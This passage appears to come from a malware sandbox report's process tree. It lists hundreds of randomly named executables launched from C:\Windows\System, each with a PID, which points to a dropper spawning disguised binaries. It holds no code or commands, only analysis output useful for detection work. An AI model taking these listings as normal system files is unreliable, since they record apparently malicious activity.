  C:\Windows\System\PiJtZef.exe
  2⤵
  PID:1720
- C:\Windows\System\XoiSZVI.exe
  C:\Windows\System\XoiSZVI.exe
  2⤵
  PID:4876
- C:\Windows\System\TgCNyGl.exe
  C:\Windows\System\TgCNyGl.exe
  2⤵
  PID:12848
- C:\Windows\System\rTXnZXe.exe
  C:\Windows\System\rTXnZXe.exe
  2⤵
  PID:12884
- C:\Windows\System\IVcohAj.exe
  C:\Windows\System\IVcohAj.exe
  2⤵
  PID:13076
- C:\Windows\System\OQWXkQm.exe
  C:\Windows\System\OQWXkQm.exe
  2⤵
  PID:13172
- C:\Windows\System\xFijhaZ.exe
  C:\Windows\System\xFijhaZ.exe
  2⤵
  PID:12060
- C:\Windows\System\uCMnnYa.exe
  C:\Windows\System\uCMnnYa.exe
  2⤵
  PID:5292
- C:\Windows\System\qRxOyFZ.exe
  C:\Windows\System\qRxOyFZ.exe
  2⤵
  PID:2208
- C:\Windows\System\NPNTvhK.exe
  C:\Windows\System\NPNTvhK.exe
  2⤵
  PID:13292
- C:\Windows\System\VSlWjuM.exe
  C:\Windows\System\VSlWjuM.exe
  2⤵
  PID:13140
- C:\Windows\System\UySSHWR.exe
  C:\Windows\System\UySSHWR.exe
  2⤵
  PID:13176
- C:\Windows\System\moWFcfv.exe
  C:\Windows\System\moWFcfv.exe
  2⤵
  PID:13260
- C:\Windows\System\paBotNu.exe
  C:\Windows\System\paBotNu.exe
  2⤵
  PID:11512
- C:\Windows\System\NUZIvOJ.exe
  C:\Windows\System\NUZIvOJ.exe
  2⤵
  PID:5728
- C:\Windows\System\iDrnTke.exe
  C:\Windows\System\iDrnTke.exe
  2⤵
  PID:5296
- C:\Windows\System\iEsEiwB.exe
  C:\Windows\System\iEsEiwB.exe
  2⤵
  PID:5336
- C:\Windows\System\wJrPeRY.exe
  C:\Windows\System\wJrPeRY.exe
  2⤵
  PID:12560
- C:\Windows\System\JUgzHVs.exe
  C:\Windows\System\JUgzHVs.exe
  2⤵
  PID:5324
- C:\Windows\System\iZEYwMr.exe
  C:\Windows\System\iZEYwMr.exe
  2⤵
  PID:2608
- C:\Windows\System\dLonXiV.exe
  C:\Windows\System\dLonXiV.exe
  2⤵
  PID:4396
- C:\Windows\System\thRrCLC.exe
  C:\Windows\System\thRrCLC.exe
  2⤵
  PID:5312
- C:\Windows\System\DMmlUzE.exe
  C:\Windows\System\DMmlUzE.exe
  2⤵
  PID:12340
- C:\Windows\System\uszBCEe.exe
  C:\Windows\System\uszBCEe.exe
  2⤵
  PID:12376
- C:\Windows\System\JKGLRrI.exe
  C:\Windows\System\JKGLRrI.exe
  2⤵
  PID:5496
- C:\Windows\System\uUKtjES.exe
  C:\Windows\System\uUKtjES.exe
  2⤵
  PID:5508
- C:\Windows\System\TsQpIEM.exe
  C:\Windows\System\TsQpIEM.exe
  2⤵
  PID:5108
- C:\Windows\System\RLoOsmz.exe
  C:\Windows\System\RLoOsmz.exe
  2⤵
  PID:12928
- C:\Windows\System\bnJuDkH.exe
  C:\Windows\System\bnJuDkH.exe
  2⤵
  PID:564
- C:\Windows\System\WMuHrbq.exe
  C:\Windows\System\WMuHrbq.exe
  2⤵
  PID:12792
- C:\Windows\System\bSqcuZv.exe
  C:\Windows\System\bSqcuZv.exe
  2⤵
  PID:4780
- C:\Windows\System\DywARrG.exe
  C:\Windows\System\DywARrG.exe
  2⤵
  PID:12960
- C:\Windows\System\zegNMrn.exe
  C:\Windows\System\zegNMrn.exe
  2⤵
  PID:13120
- C:\Windows\System\dUNFxcR.exe
  C:\Windows\System\dUNFxcR.exe
  2⤵
  PID:10788
- C:\Windows\System\CaXnZCY.exe
  C:\Windows\System\CaXnZCY.exe
  2⤵
  PID:5784
- C:\Windows\System\GhZbQBj.exe
  C:\Windows\System\GhZbQBj.exe
  2⤵
  PID:5748
- C:\Windows\System\EXhPxEA.exe
  C:\Windows\System\EXhPxEA.exe
  2⤵
  PID:5944
- C:\Windows\System\vyrYAYP.exe
  C:\Windows\System\vyrYAYP.exe
  2⤵
  PID:13244
- C:\Windows\System\pdQnYHJ.exe
  C:\Windows\System\pdQnYHJ.exe
  2⤵
  PID:12588
- C:\Windows\System\NTSSuiB.exe
  C:\Windows\System\NTSSuiB.exe
  2⤵
  PID:10504
- C:\Windows\System\CemYhXd.exe
  C:\Windows\System\CemYhXd.exe
  2⤵
  PID:12148
- C:\Windows\System\uKMnlAr.exe
  C:\Windows\System\uKMnlAr.exe
  2⤵
  PID:11528
- C:\Windows\System\cHJuWcE.exe
  C:\Windows\System\cHJuWcE.exe
  2⤵
  PID:4016
- C:\Windows\System\zvcoznC.exe
  C:\Windows\System\zvcoznC.exe
  2⤵
  PID:12308
- C:\Windows\System\IdYIRDo.exe
  C:\Windows\System\IdYIRDo.exe
  2⤵
  PID:5516
- C:\Windows\System\TpkoSlu.exe
  C:\Windows\System\TpkoSlu.exe
  2⤵
  PID:12756
- C:\Windows\System\SInqetX.exe
  C:\Windows\System\SInqetX.exe
  2⤵
  PID:12940
- C:\Windows\System\rSfVlSZ.exe
  C:\Windows\System\rSfVlSZ.exe
  2⤵
  PID:13128
- C:\Windows\System\NUqcHMC.exe
  C:\Windows\System\NUqcHMC.exe
  2⤵
  PID:5820
- C:\Windows\System\spCNlIH.exe
  C:\Windows\System\spCNlIH.exe
  2⤵
  PID:3268
- C:\Windows\System\cPNzDhu.exe
  C:\Windows\System\cPNzDhu.exe
  2⤵
  PID:5264
- C:\Windows\System\wcJSqTM.exe
  C:\Windows\System\wcJSqTM.exe
  2⤵
  PID:1564
- C:\Windows\System\YpLYQIm.exe
  C:\Windows\System\YpLYQIm.exe
  2⤵
  PID:13336
- C:\Windows\System\eIKjGDg.exe
  C:\Windows\System\eIKjGDg.exe
  2⤵
  PID:13432
- C:\Windows\System\HsuAvAH.exe
  C:\Windows\System\HsuAvAH.exe
  2⤵
  PID:13452
- C:\Windows\System\rVBXMZL.exe
  C:\Windows\System\rVBXMZL.exe
  2⤵
  PID:13484
- C:\Windows\System\QzKfLhg.exe
  C:\Windows\System\QzKfLhg.exe
  2⤵
  PID:13512
- C:\Windows\System\QPolCvE.exe
  C:\Windows\System\QPolCvE.exe
  2⤵
  PID:13536
- C:\Windows\System\ZHvkDvG.exe
  C:\Windows\System\ZHvkDvG.exe
  2⤵
  PID:13556
- C:\Windows\System\AEGRBze.exe
  C:\Windows\System\AEGRBze.exe
  2⤵
  PID:13572
- C:\Windows\System\TWmHaqa.exe
  C:\Windows\System\TWmHaqa.exe
  2⤵
  PID:13588
- C:\Windows\System\MLVUluA.exe
  C:\Windows\System\MLVUluA.exe
  2⤵
  PID:13604
- C:\Windows\System\lBiVtON.exe
  C:\Windows\System\lBiVtON.exe
  2⤵
  PID:13724
- C:\Windows\System\GbEyuZE.exe
  C:\Windows\System\GbEyuZE.exe
  2⤵
  PID:13740
- C:\Windows\System\gwLpnlI.exe
  C:\Windows\System\gwLpnlI.exe
  2⤵
  PID:13756
- C:\Windows\System\ghtfJvE.exe
  C:\Windows\System\ghtfJvE.exe
  2⤵
  PID:13772
- C:\Windows\System\fEqDsbK.exe
  C:\Windows\System\fEqDsbK.exe
  2⤵
  PID:13788
- C:\Windows\System\YMvxhDD.exe
  C:\Windows\System\YMvxhDD.exe
  2⤵
  PID:13812
- C:\Windows\System\ynJZksB.exe
  C:\Windows\System\ynJZksB.exe
  2⤵
  PID:14016
- C:\Windows\System\MQMcJGk.exe
  C:\Windows\System\MQMcJGk.exe
  2⤵
  PID:14032
- C:\Windows\System\ybLTUpJ.exe
  C:\Windows\System\ybLTUpJ.exe
  2⤵
  PID:14052
- C:\Windows\System\BvkKBNs.exe
  C:\Windows\System\BvkKBNs.exe
  2⤵
  PID:14068
- C:\Windows\System\bwiulcc.exe
  C:\Windows\System\bwiulcc.exe
  2⤵
  PID:14084
- C:\Windows\System\KqKviYQ.exe
  C:\Windows\System\KqKviYQ.exe
  2⤵
  PID:14104
- C:\Windows\System\bdUhPpL.exe
  C:\Windows\System\bdUhPpL.exe
  2⤵
  PID:14132
- C:\Windows\System\CvfdGXw.exe
  C:\Windows\System\CvfdGXw.exe
  2⤵
  PID:5232
- C:\Windows\System\cFtnRga.exe
  C:\Windows\System\cFtnRga.exe
  2⤵
  PID:1068
- C:\Windows\System\ctXanzj.exe
  C:\Windows\System\ctXanzj.exe
  2⤵
  PID:13348
- C:\Windows\System\bJrUOMk.exe
  C:\Windows\System\bJrUOMk.exe
  2⤵
  PID:13328
- C:\Windows\System\MifSleq.exe
  C:\Windows\System\MifSleq.exe
  2⤵
  PID:13504
- C:\Windows\System\XpEYWUc.exe
  C:\Windows\System\XpEYWUc.exe
  2⤵
  PID:13532
- C:\Windows\System\GZqsYut.exe
  C:\Windows\System\GZqsYut.exe
  2⤵
  PID:13564
- C:\Windows\System\gSbxzjh.exe
  C:\Windows\System\gSbxzjh.exe
  2⤵
  PID:13616
- C:\Windows\System\INHFScg.exe
  C:\Windows\System\INHFScg.exe
  2⤵
  PID:13680
- C:\Windows\System\LbsIhwh.exe
  C:\Windows\System\LbsIhwh.exe
  2⤵
  PID:13736
- C:\Windows\System\VmeziIS.exe
  C:\Windows\System\VmeziIS.exe
  2⤵
  PID:13768
- C:\Windows\System\FOolcWN.exe
  C:\Windows\System\FOolcWN.exe
  2⤵
  PID:13820
- C:\Windows\System\FuiDGVo.exe
  C:\Windows\System\FuiDGVo.exe
  2⤵
  PID:11668
- C:\Windows\System\byhWqeX.exe
  C:\Windows\System\byhWqeX.exe
  2⤵
  PID:13972
- C:\Windows\System\tnssuFT.exe
  C:\Windows\System\tnssuFT.exe
  2⤵
  PID:13988
- C:\Windows\System\MYLjqKo.exe
  C:\Windows\System\MYLjqKo.exe
  2⤵
  PID:7976
- C:\Windows\System\jWKMMaN.exe
  C:\Windows\System\jWKMMaN.exe
  2⤵
  PID:13996
- C:\Windows\System\ToKWMIP.exe
  C:\Windows\System\ToKWMIP.exe
  2⤵
  PID:14024
- C:\Windows\System\tddeCjb.exe
  C:\Windows\System\tddeCjb.exe
  2⤵
  PID:8428
- C:\Windows\System\FdIKQlI.exe
  C:\Windows\System\FdIKQlI.exe
  2⤵
  PID:8180
- C:\Windows\System\lqroTfN.exe
  C:\Windows\System\lqroTfN.exe
  2⤵
  PID:14232
- C:\Windows\System\plnrjBF.exe
  C:\Windows\System\plnrjBF.exe
  2⤵
  PID:14156
- C:\Windows\System\BsyJfwm.exe
  C:\Windows\System\BsyJfwm.exe
  2⤵
  PID:14192
- C:\Windows\System\AowHStl.exe
  C:\Windows\System\AowHStl.exe
  2⤵
  PID:6052
- C:\Windows\System\cpDvZAq.exe
  C:\Windows\System\cpDvZAq.exe
  2⤵
  PID:14264
- C:\Windows\System\wAYiwYZ.exe
  C:\Windows\System\wAYiwYZ.exe
  2⤵
  PID:14280
- C:\Windows\System\eCbAxap.exe
  C:\Windows\System\eCbAxap.exe
  2⤵
  PID:14308
- C:\Windows\System\pcIcjOW.exe
  C:\Windows\System\pcIcjOW.exe
  2⤵
  PID:14328
- C:\Windows\System\SpUVfTT.exe
  C:\Windows\System\SpUVfTT.exe
  2⤵
  PID:6028
- C:\Windows\System\YshAMnP.exe
  C:\Windows\System\YshAMnP.exe
  2⤵
  PID:5836
- C:\Windows\System\irNttZo.exe
  C:\Windows\System\irNttZo.exe
  2⤵
  PID:4472
- C:\Windows\System\KDAzIKq.exe
  C:\Windows\System\KDAzIKq.exe
  2⤵
  PID:4388
- C:\Windows\System\ruIZAbP.exe
  C:\Windows\System\ruIZAbP.exe
  2⤵
  PID:700
- C:\Windows\System\gcxpldN.exe
  C:\Windows\System\gcxpldN.exe
  2⤵
  PID:12564
- C:\Windows\System\rOnygYC.exe
  C:\Windows\System\rOnygYC.exe
  2⤵
  PID:2524
- C:\Windows\System\aefbtBF.exe
  C:\Windows\System\aefbtBF.exe
  2⤵
  PID:5648
- C:\Windows\System\etjgMNy.exe
  C:\Windows\System\etjgMNy.exe
  2⤵
  PID:12688
- C:\Windows\System\eQZsZjK.exe
  C:\Windows\System\eQZsZjK.exe
  2⤵
  PID:5700
- C:\Windows\System\TFxPeFZ.exe
  C:\Windows\System\TFxPeFZ.exe
  2⤵
  PID:10192
- C:\Windows\System\tfaHQzl.exe
  C:\Windows\System\tfaHQzl.exe
  2⤵
  PID:5684
- C:\Windows\System\yTnzDqy.exe
  C:\Windows\System\yTnzDqy.exe
  2⤵
  PID:5772
- C:\Windows\System\IsulsRr.exe
  C:\Windows\System\IsulsRr.exe
  2⤵
  PID:4584
- C:\Windows\System\LbgNfML.exe
  C:\Windows\System\LbgNfML.exe
  2⤵
  PID:4748
- C:\Windows\System\aiJRqnQ.exe
  C:\Windows\System\aiJRqnQ.exe
  2⤵
  PID:13552
- C:\Windows\System\nbnIyCS.exe
  C:\Windows\System\nbnIyCS.exe
  2⤵
  PID:11768
- C:\Windows\System\cnBvsVa.exe
  C:\Windows\System\cnBvsVa.exe
  2⤵
  PID:5744
- C:\Windows\System\oLScJPx.exe
  C:\Windows\System\oLScJPx.exe
  2⤵
  PID:5848
- C:\Windows\System\vZSBGDH.exe
  C:\Windows\System\vZSBGDH.exe
  2⤵
  PID:13580
- C:\Windows\System\mNPvILv.exe
  C:\Windows\System\mNPvILv.exe
  2⤵
  PID:13684
- C:\Windows\System\VDjuhyZ.exe
  C:\Windows\System\VDjuhyZ.exe
  2⤵
  PID:13428
- C:\Windows\System\HhYYcUe.exe
  C:\Windows\System\HhYYcUe.exe
  2⤵
  PID:3876
- C:\Windows\System\CnIssem.exe
  C:\Windows\System\CnIssem.exe
  2⤵
  PID:2144
- C:\Windows\System\FBdYRpg.exe
  C:\Windows\System\FBdYRpg.exe
  2⤵
  PID:14076
- C:\Windows\System\ulChHDb.exe
  C:\Windows\System\ulChHDb.exe
  2⤵
  PID:2132
- C:\Windows\System\uEmyhjD.exe
  C:\Windows\System\uEmyhjD.exe
  2⤵
  PID:4652
- C:\Windows\System\dWzoaQj.exe
  C:\Windows\System\dWzoaQj.exe
  2⤵
  PID:14184
- C:\Windows\System\rGvEjEh.exe
  C:\Windows\System\rGvEjEh.exe
  2⤵
  PID:4372
- C:\Windows\System\AoYdIrI.exe
  C:\Windows\System\AoYdIrI.exe
  2⤵
  PID:14100
- C:\Windows\System\OJIMvUl.exe
  C:\Windows\System\OJIMvUl.exe
  2⤵
  PID:456
- C:\Windows\System\iznaReQ.exe
  C:\Windows\System\iznaReQ.exe
  2⤵
  PID:14256
- C:\Windows\System\tWHnybo.exe
  C:\Windows\System\tWHnybo.exe
  2⤵
  PID:5272
- C:\Windows\System\TESiPRI.exe
  C:\Windows\System\TESiPRI.exe
  2⤵
  PID:5180
- C:\Windows\System\ksfMBBR.exe
  C:\Windows\System\ksfMBBR.exe
  2⤵
  PID:3412
- C:\Windows\System\gcPjypp.exe
  C:\Windows\System\gcPjypp.exe
  2⤵
  PID:3164
- C:\Windows\System\lNnKhXO.exe
  C:\Windows\System\lNnKhXO.exe
  2⤵
  PID:5884
- C:\Windows\System\FdVZHBo.exe
  C:\Windows\System\FdVZHBo.exe
  2⤵
  PID:13584
- C:\Windows\System\ZaUGIcc.exe
  C:\Windows\System\ZaUGIcc.exe
  2⤵
  PID:5828
- C:\Windows\System\OLKhjqu.exe
  C:\Windows\System\OLKhjqu.exe
  2⤵
  PID:4340
- C:\Windows\System\FegXsHq.exe
  C:\Windows\System\FegXsHq.exe
  2⤵
  PID:6344
- C:\Windows\System\MprAAPK.exe
  C:\Windows\System\MprAAPK.exe
  2⤵
  PID:6304
- C:\Windows\System\tvgOeQw.exe
  C:\Windows\System\tvgOeQw.exe
  2⤵
  PID:6636
- C:\Windows\System\vVSgDpx.exe
  C:\Windows\System\vVSgDpx.exe
  2⤵
  PID:6248
- C:\Windows\System\aPlaVIA.exe
  C:\Windows\System\aPlaVIA.exe
  2⤵
  PID:14180
- C:\Windows\System\oWnNUBS.exe
  C:\Windows\System\oWnNUBS.exe
  2⤵
  PID:14168
- C:\Windows\System\yZSxNvc.exe
  C:\Windows\System\yZSxNvc.exe
  2⤵
  PID:6076
- C:\Windows\System\GXCGVpL.exe
  C:\Windows\System\GXCGVpL.exe
  2⤵
  PID:7128
- C:\Windows\System\HOZaJxG.exe
  C:\Windows\System\HOZaJxG.exe
  2⤵
  PID:6792
- C:\Windows\System\AccfDRw.exe
  C:\Windows\System\AccfDRw.exe
  2⤵
  PID:4308
- C:\Windows\System\VPwUjtO.exe
  C:\Windows\System\VPwUjtO.exe
  2⤵
  PID:13652
- C:\Windows\System\ftKQBSf.exe
  C:\Windows\System\ftKQBSf.exe
  2⤵
  PID:4452
- C:\Windows\System\JHTslSN.exe
  C:\Windows\System\JHTslSN.exe
  2⤵
  PID:6476
- C:\Windows\System\pPQiKdJ.exe
  C:\Windows\System\pPQiKdJ.exe
  2⤵
  PID:7048
- C:\Windows\System\vNGxNbk.exe
  C:\Windows\System\vNGxNbk.exe
  2⤵
  PID:9672
- C:\Windows\System\QdBoeua.exe
  C:\Windows\System\QdBoeua.exe
  2⤵
  PID:1444
- C:\Windows\System\THyJZdr.exe
  C:\Windows\System\THyJZdr.exe
  2⤵
  PID:7032
- C:\Windows\System\rFevemJ.exe
  C:\Windows\System\rFevemJ.exe
  2⤵
  PID:6720
- C:\Windows\System\UxgFFFE.exe
  C:\Windows\System\UxgFFFE.exe
  2⤵
  PID:4892
- C:\Windows\System\GiMjBwN.exe
  C:\Windows\System\GiMjBwN.exe
  2⤵
  PID:6696
- C:\Windows\System\XNSDySM.exe
  C:\Windows\System\XNSDySM.exe
  2⤵
  PID:6808
- C:\Windows\System\RPGNDZU.exe
  C:\Windows\System\RPGNDZU.exe
  2⤵
  PID:5528
- C:\Windows\System\OpTXZnz.exe
  C:\Windows\System\OpTXZnz.exe
  2⤵
  PID:6840
- C:\Windows\System\bkVdrMf.exe
  C:\Windows\System\bkVdrMf.exe
  2⤵
  PID:4212
- C:\Windows\System\YZuPjPj.exe
  C:\Windows\System\YZuPjPj.exe
  2⤵
  PID:5732
- C:\Windows\System\dXRVNuM.exe
  C:\Windows\System\dXRVNuM.exe
  2⤵
  PID:6916
- C:\Windows\System\kgQdjOr.exe
  C:\Windows\System\kgQdjOr.exe
  2⤵
  PID:4296
- C:\Windows\System\OhHmXDd.exe
  C:\Windows\System\OhHmXDd.exe
  2⤵
  PID:6928
- C:\Windows\System\FeZLLqz.exe
  C:\Windows\System\FeZLLqz.exe
  2⤵
  PID:6592
- C:\Windows\System\wNejBUx.exe
  C:\Windows\System\wNejBUx.exe
  2⤵
  PID:6460
- C:\Windows\System\dpQoENG.exe
  C:\Windows\System\dpQoENG.exe
  2⤵
  PID:6480
- C:\Windows\System\ValeUGR.exe
  C:\Windows\System\ValeUGR.exe
  2⤵
  PID:6376
- C:\Windows\System\kCzBHvR.exe
  C:\Windows\System\kCzBHvR.exe
  2⤵
  PID:2384
- C:\Windows\System\cvsChjf.exe
  C:\Windows\System\cvsChjf.exe
  2⤵
  PID:6208
- C:\Windows\System\jHCZkWy.exe
  C:\Windows\System\jHCZkWy.exe
  2⤵
  PID:5408
- C:\Windows\System\byckXbp.exe
  C:\Windows\System\byckXbp.exe
  2⤵
  PID:13868
- C:\Windows\System\GsZtaIq.exe
  C:\Windows\System\GsZtaIq.exe
  2⤵
  PID:14112
- C:\Windows\System\tyJrMIk.exe
  C:\Windows\System\tyJrMIk.exe
  2⤵
  PID:6960
- C:\Windows\System\KQFflkm.exe
  C:\Windows\System\KQFflkm.exe
  2⤵
  PID:1856
- C:\Windows\System\bWqZHvy.exe
  C:\Windows\System\bWqZHvy.exe
  2⤵
  PID:6644
- C:\Windows\System\HnyKAur.exe
  C:\Windows\System\HnyKAur.exe
  2⤵
  PID:6752
- C:\Windows\System\uWQjbDI.exe
  C:\Windows\System\uWQjbDI.exe
  2⤵
  PID:6372
- C:\Windows\System\LpCWDEb.exe
  C:\Windows\System\LpCWDEb.exe
  2⤵
  PID:7176
- C:\Windows\System\fdvadeW.exe
  C:\Windows\System\fdvadeW.exe
  2⤵
  PID:6796
- C:\Windows\System\nldDrdN.exe
  C:\Windows\System\nldDrdN.exe
  2⤵
  PID:2528
- C:\Windows\System\pMCPlMY.exe
  C:\Windows\System\pMCPlMY.exe
  2⤵
  PID:7508
- C:\Windows\System\iCGWRhL.exe
  C:\Windows\System\iCGWRhL.exe
  2⤵
  PID:14356
- C:\Windows\System\ItiINXm.exe
  C:\Windows\System\ItiINXm.exe
  2⤵
  PID:14372
- C:\Windows\System\jnOIVsp.exe
  C:\Windows\System\jnOIVsp.exe
  2⤵
  PID:14388
- C:\Windows\System\BxeyIQY.exe
  C:\Windows\System\BxeyIQY.exe
  2⤵
  PID:14404
- C:\Windows\System\YUdagWM.exe
  C:\Windows\System\YUdagWM.exe
  2⤵
  PID:14424
- C:\Windows\System\LjrrWgM.exe
  C:\Windows\System\LjrrWgM.exe
  2⤵
  PID:14440
- C:\Windows\System\ALtFden.exe
  C:\Windows\System\ALtFden.exe
  2⤵
  PID:14456
- C:\Windows\System\MFLWHtT.exe
  C:\Windows\System\MFLWHtT.exe
  2⤵
  PID:14484
- C:\Windows\System\vJLjKoY.exe
  C:\Windows\System\vJLjKoY.exe
  2⤵
  PID:14508
- C:\Windows\System\srFbkWk.exe
  C:\Windows\System\srFbkWk.exe
  2⤵
  PID:14532
- C:\Windows\System\OMMLBlh.exe
  C:\Windows\System\OMMLBlh.exe
  2⤵
  PID:14556
- C:\Windows\System\MrsyjJP.exe
  C:\Windows\System\MrsyjJP.exe
  2⤵
  PID:14576
- C:\Windows\System\UrxTkYN.exe
  C:\Windows\System\UrxTkYN.exe
  2⤵
  PID:14596
- C:\Windows\System\jyRrYIg.exe
  C:\Windows\System\jyRrYIg.exe
  2⤵
  PID:15064
- C:\Windows\System\PNMTNhq.exe
  C:\Windows\System\PNMTNhq.exe
  2⤵
  PID:15320
- C:\Windows\System\KpeXOxM.exe
  C:\Windows\System\KpeXOxM.exe
  2⤵
  PID:15336
- C:\Windows\System\qqyjzfW.exe
  C:\Windows\System\qqyjzfW.exe
  2⤵
  PID:15356
- C:\Windows\System\tRpUjVZ.exe
  C:\Windows\System\tRpUjVZ.exe
  2⤵
  PID:6056
- C:\Windows\System\LuNuyiI.exe
  C:\Windows\System\LuNuyiI.exe
  2⤵
  PID:6664
- C:\Windows\System\cMoEmJm.exe
  C:\Windows\System\cMoEmJm.exe
  2⤵
  PID:14240
- C:\Windows\System\YzxUEof.exe
  C:\Windows\System\YzxUEof.exe
  2⤵
  PID:6996
- C:\Windows\System\ItDQIBa.exe
  C:\Windows\System\ItDQIBa.exe
  2⤵
  PID:6888
- C:\Windows\System\RLcDbJU.exe
  C:\Windows\System\RLcDbJU.exe
  2⤵
  PID:14212
- C:\Windows\System\NrODkqm.exe
  C:\Windows\System\NrODkqm.exe
  2⤵
  PID:13836
- C:\Windows\System\qFxhHBg.exe
  C:\Windows\System\qFxhHBg.exe
  2⤵
  PID:13732
- C:\Windows\System\pDVBmCI.exe
  C:\Windows\System\pDVBmCI.exe
  2⤵
  PID:7720
- C:\Windows\System\otTSSyu.exe
  C:\Windows\System\otTSSyu.exe
  2⤵
  PID:7636
- C:\Windows\System\EcUitAC.exe
  C:\Windows\System\EcUitAC.exe
  2⤵
  PID:7196
- C:\Windows\System\zrhvpMC.exe
  C:\Windows\System\zrhvpMC.exe
  2⤵
  PID:6448
- C:\Windows\System\MCJgWyP.exe
  C:\Windows\System\MCJgWyP.exe
  2⤵
  PID:14432
- C:\Windows\System\BlTQqdE.exe
  C:\Windows\System\BlTQqdE.exe
  2⤵
  PID:13396
- C:\Windows\System\WrFvOQF.exe
  C:\Windows\System\WrFvOQF.exe
  2⤵
  PID:7808
- C:\Windows\System\dmlRhya.exe
  C:\Windows\System\dmlRhya.exe
  2⤵
  PID:7952
- C:\Windows\System\XGTwbHN.exe
  C:\Windows\System\XGTwbHN.exe
  2⤵
  PID:6100
- C:\Windows\System\dJbDIkp.exe
  C:\Windows\System\dJbDIkp.exe
  2⤵
  PID:14572
- C:\Windows\System\lfMhtaW.exe
  C:\Windows\System\lfMhtaW.exe
  2⤵
  PID:4740
- C:\Windows\System\YtqFUUM.exe
  C:\Windows\System\YtqFUUM.exe
  2⤵
  PID:4972
- C:\Windows\System\IPmybku.exe
  C:\Windows\System\IPmybku.exe
  2⤵
  PID:7020
- C:\Windows\System\aARiCQE.exe
  C:\Windows\System\aARiCQE.exe
  2⤵
  PID:7632
- C:\Windows\System\WVVvwFs.exe
  C:\Windows\System\WVVvwFs.exe
  2⤵
  PID:7472
- C:\Windows\System\aVJpLHn.exe
  C:\Windows\System\aVJpLHn.exe
  2⤵
  PID:7480
- C:\Windows\System\KjyMkSf.exe
  C:\Windows\System\KjyMkSf.exe
  2⤵
  PID:14656
- C:\Windows\System\vqZMuxF.exe
  C:\Windows\System\vqZMuxF.exe
  2⤵
  PID:7380
- C:\Windows\System\vUbbyIs.exe
  C:\Windows\System\vUbbyIs.exe
  2⤵
  PID:14416
- C:\Windows\System\bzEJmfj.exe
  C:\Windows\System\bzEJmfj.exe
  2⤵
  PID:14472
- C:\Windows\System\vvltxnV.exe
  C:\Windows\System\vvltxnV.exe
  2⤵
  PID:7884
- C:\Windows\System\TwGuKjI.exe
  C:\Windows\System\TwGuKjI.exe
  2⤵
  PID:7796
- C:\Windows\System\zYRIbIj.exe
  C:\Windows\System\zYRIbIj.exe
  2⤵
  PID:7936
- C:\Windows\System\ylRKglc.exe
  C:\Windows\System\ylRKglc.exe
  2⤵
  PID:3828
- C:\Windows\System\ugZZszq.exe
  C:\Windows\System\ugZZszq.exe
  2⤵
  PID:14096
- C:\Windows\System\RniRKgG.exe
  C:\Windows\System\RniRKgG.exe
  2⤵
  PID:6772
- C:\Windows\System\FnIMksQ.exe
  C:\Windows\System\FnIMksQ.exe
  2⤵
  PID:6324
- C:\Windows\System\DRmJjxh.exe
  C:\Windows\System\DRmJjxh.exe
  2⤵
  PID:14636
- C:\Windows\System\sysFQsd.exe
  C:\Windows\System\sysFQsd.exe
  2⤵
  PID:14660
- C:\Windows\System\EExyQWs.exe
  C:\Windows\System\EExyQWs.exe
  2⤵
  PID:7340
- C:\Windows\System\xMuCASz.exe
  C:\Windows\System\xMuCASz.exe
  2⤵
  PID:12608
- C:\Windows\System\kLYymlo.exe
  C:\Windows\System\kLYymlo.exe
  2⤵
  PID:14412
- C:\Windows\System\XcgKqzj.exe
  C:\Windows\System\XcgKqzj.exe
  2⤵
  PID:14448
- C:\Windows\System\VcUGJul.exe
  C:\Windows\System\VcUGJul.exe
  2⤵
  PID:14476
- C:\Windows\System\IGaaMno.exe
  C:\Windows\System\IGaaMno.exe
  2⤵
  PID:8156
- C:\Windows\System\tlodofa.exe
  C:\Windows\System\tlodofa.exe
  2⤵
  PID:14524
- C:\Windows\System\GgGllCw.exe
  C:\Windows\System\GgGllCw.exe
  2⤵
  PID:14544
- C:\Windows\System\AxhmuaI.exe
  C:\Windows\System\AxhmuaI.exe
  2⤵
  PID:7428
- C:\Windows\System\srTiszS.exe
  C:\Windows\System\srTiszS.exe
  2⤵
  PID:6588
- C:\Windows\System\okLUiut.exe
  C:\Windows\System\okLUiut.exe
  2⤵
  PID:8352
- C:\Windows\System\ulmsNIb.exe
  C:\Windows\System\ulmsNIb.exe
  2⤵
  PID:7468
- C:\Windows\System\FZdbhZS.exe
  C:\Windows\System\FZdbhZS.exe
  2⤵
  PID:15092
- C:\Windows\System\HOPeeba.exe
  C:\Windows\System\HOPeeba.exe
  2⤵
  PID:8364
- C:\Windows\System\JhiURPk.exe
  C:\Windows\System\JhiURPk.exe
  2⤵
  PID:14152
- C:\Windows\System\xpbwROs.exe
  C:\Windows\System\xpbwROs.exe
  2⤵
  PID:6828
- C:\Windows\System\KJdgIZJ.exe
  C:\Windows\System\KJdgIZJ.exe
  2⤵
  PID:8012
- C:\Windows\System\GkRkRXz.exe
  C:\Windows\System\GkRkRXz.exe
  2⤵
  PID:7288
- C:\Windows\System\ZkVVckp.exe
  C:\Windows\System\ZkVVckp.exe
  2⤵
  PID:8852
- C:\Windows\System\AcuErSQ.exe
  C:\Windows\System\AcuErSQ.exe
  2⤵
  PID:6812
- C:\Windows\System\ygXjrmw.exe
  C:\Windows\System\ygXjrmw.exe
  2⤵
  PID:9632
- C:\Windows\System\RHUcQow.exe
  C:\Windows\System\RHUcQow.exe
  2⤵
  PID:4924
- C:\Windows\System\iOevbGU.exe
  C:\Windows\System\iOevbGU.exe
  2⤵
  PID:3652
- C:\Windows\System\OSzhxnF.exe
  C:\Windows\System\OSzhxnF.exe
  2⤵
  PID:6692
- C:\Windows\System\WxsEaoz.exe
  C:\Windows\System\WxsEaoz.exe
  2⤵
  PID:7384
- C:\Windows\System\zOBrEYk.exe
  C:\Windows\System\zOBrEYk.exe
  2⤵
  PID:8396
- C:\Windows\System\krJycZP.exe
  C:\Windows\System\krJycZP.exe
  2⤵
  PID:7516
- C:\Windows\System\yriwHKk.exe
  C:\Windows\System\yriwHKk.exe
  2⤵
  PID:15020
- C:\Windows\System\MYOrSYo.exe
  C:\Windows\System\MYOrSYo.exe
  2⤵
  PID:8216
- C:\Windows\System\SmAIcIi.exe
  C:\Windows\System\SmAIcIi.exe
  2⤵
  PID:9012
- C:\Windows\System\YjZBBtO.exe
  C:\Windows\System\YjZBBtO.exe
  2⤵
  PID:6688
- C:\Windows\System\NyZezoa.exe
  C:\Windows\System\NyZezoa.exe
  2⤵
  PID:9184
- C:\Windows\System\OKVFVjw.exe
  C:\Windows\System\OKVFVjw.exe
  2⤵
  PID:14344
- C:\Windows\System\tRKLlhp.exe
  C:\Windows\System\tRKLlhp.exe
  2⤵
